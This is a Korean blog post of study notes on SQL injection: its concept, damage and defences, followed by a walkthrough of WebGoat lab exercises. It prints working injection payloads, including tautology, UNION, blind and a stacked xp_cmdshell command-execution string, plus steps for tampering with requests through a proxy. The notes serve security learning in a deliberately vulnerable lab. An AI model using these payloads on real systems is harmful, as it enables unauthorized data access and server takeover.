겉바속촉

[보안] WebGoat_String SQL Injection, Numeric SQL Injection 본문

IT 일기 (상반기)/네트워크 및 시스템 보안

[보안] WebGoat_String SQL Injection, Numeric SQL Injection

겉바속촉 2021. 1. 21. 15:11
728x90
반응형

 

SQL Injection 

 

 

 

개념

  • 외부 입력값을 검증하지 않고 SQL문을 생성 및 실행에 사용하는 경우에 발생
  • 쿼리의 원래 의미와 형태가 변형되어 실행

 

 

예상 피해

  • 권한 밖 데이터에 대한 접근이 가능, 인증 우회, DB서버 또는 서버군의 제어권을 탈취하는 등의 피해가 발생  

 

 

방어 기법

  • 입력값 검증 --> SQL문을 조작할 수 있는 문자열 포함 여부를 확인
  • 정적 쿼리를 사용 --> 항상 일정한 형태의 쿼리가 실행되는 것을 보장
  • DB 사용자에게 최소 권한을 부여 --> 애플리케이션에서 사용하는 DB 사용자의 권한을 필요한 만큼만 부여
  • 에러에 대한 안전한 처리 --> 오류 메시지를 통해서 시스템 내부 정보가 노출되지 않도록 오류 메시지를 처리

 

 

 

 

 

 

 

 

 

 


 

 

 

 

입력되는 값의 형태(유형)에 따라 다양한 SQL Injection 유형

 

 

select * from users where name = 'hong'

=> 의미 : name 컬럼의 값이 입력값(hong)과 일치하는 사용자 정보를 조회

 

 

 

 1) 항상 참이 되는 값을 입력

 

    hong' or 'a' = 'a

      ⇒ select * from users where name = 'hong' or 'a' = 'a'

      ⇒ 의미 : 모든 사용자 정보를 조회

 

 

 

 2) 오류를 유발하는 입력 ⇒ 시스템 내부 정보를 수집

 

     a'

    ⇒ select * from users where name = 'a''

    ⇒ 구문 오류가 발생 ⇒ syntax error

    ⇒ 홑따옴표가 두개 연속으로 나오면 escape가 발생해서 홑따옴표라는 문자를 뜻함. 그럼 한개 부족하다고 인식

 

 

 

 3) UNION 구문을 이용 ⇒ 권한 밖 데이터에 접근이 가능

 

     select * from users where name = 'hong'         :  정상적인 쿼리

    ⇒ select * from users where name = 'hong' UNION select 1, 2, 3 -- '      :  조작 쿼리

 

     ID                Name             Age

=================================================================

    123               Hong               23          ⇐ 정상적인 쿼리 실행 결과

    ???                ????                ???          ⇐ 정상적인 쿼리 실행 결과에
                                                               공격자가 알고 싶어하는 정보를 출력할 수 없을까?

 

     1                    2                   3

 

  저렇게 위의 예시처럼 쿼리를 주면 hong 과 select 1,2,3이 join되어 결과 도출

 

 

 

 

 

 

 4) Stored Procedure를 이용 ⇒ 서버의 제어권이 탈취

 

 

  많이 쓰는 기능들을 함수화시켜서 호출해서 실행하는 것이 바로 Stored Procedure

  DB 자체에서 제공

   

    hong'; exec xp_cmdshell 'cmd.exe /c ipconfig' --

    ⇒ select * from users where name = 'hong'; exec xp_cmdshell 'cmd.exe /c ipconfig' --'

       

   이것이 실행될 때에는

   select * from users where name = 'hong';  까지 실행이 되고 

   그 다음 쿼리문이   exec xp_cmdshell 'cmd.exe /c ipconfig' --

   즉 해당 DB의 shell에 접근하려는 목적!!

 

 

 

 

 

 

   

 5) Blind SQL Injection

 

    (정상) 쿼리가 참인 조건과 거짓인 조건에 따라 다르게 반응하는 것을 응용한 공격

    

     hong ⇒ select * from users where name = 'hong' ⇒ 일치하는 이름의 사용자가 존재합니다. 

     a$b! ⇒ select * from users where name = 'a$b!' ⇒ 일치하는 이름의 사용자가 존재하지 않습니다. 

 

     공격자가 알고 싶어하는 정보를 조회하는 쿼리를 생성 → select …

     hong' and ( select ... ) --

     ⇒ select * from users where name = 'hong' and (select … ) -- '

 

     

  위의 쿼리 실행 후 화면에 

        존재한다 → 공격자가 생성한 쿼리의 일치하는 데이터가 있다

        존재하지 않는다 → 공격자가 생성한 쿼리의 일치하는 데이터가 없다

 

 

  

 

 


 

 

 

@Attacker 에서

@WindowsXP의 WebGoat으로 접속 (http://windowsxp:8080/WebGoat) (webgoat/webgoat으로 접속) 

 

접속 후 다음과 같이 들어가주세요:)

 

 

 

 

String SQL Injection

 

 

사용자 이름을 입력하면 해당 사용자의 정보를 반환해주는 서비스

 

 

 

 

문제 : 모든 사용자의 정보를 조회해 보세요.

 

 

사용자 입력 

last name: Smith' or 'a' = 'a

 

서버로 전달 

attack?Screen=65&menu=1100&account_name=Smith' or 'a' = 'a

 

내부 처리

SELECT * FROM user_data WHERE last_name = 'Smith' or 'a' = 'a'

 

 

 

 

 

!!!CONGRATULATIONS!!!

 

 

 

 

 

이제 데이터 타입이 STRING이 아닌 숫자형인 문제를 보도록 하겠습니다.

 

 

 

 

 

 

 

 

Numeric SQL Injection

 

 

 

선택한 지역의 날씨 정보를 제공하는 서비스

 

 

 

 

 

문제 : 모든 지역의 날씨 정보가 출력되도록 하시오. 

 

 

 

 

사용자 입력

station: Seattle 101 or 1=1

 

 

서버로 전달

attack?Screen=75&menu=1100&station=101 or 1=1

 

 

내부 처리

SELECT * FROM weather_data WHERE station = 101 or 1=1

 

 

 

 

방법1) F12 키를 이용하여 개발자 도구를 통해 사용자 입력값 조종하기

 

 

 

 

 

!!!CONGRATULATIONS!!!

 

 

 

 

 

 

 

방법2) 서버로 전달되는 값 변형하기 ---> proxy 이용하기

 

 

 

다음과 같이 proxy 설정

 

 

 

 

그리고 날라가는 값을 잡아야하므로 Intercept is on 상태에서 진행하고 webgoat 사이트에서 go 클릭

그럼 다음 표시한 부분처럼 값 변경해주기

 

 

 

 

 

다하고 나면 별도장이 생깁니다.

다시하고 싶은 경우 우측 상단에 있는 Restart 클릭

 

 

 

 

 

 

 

728x90
반응형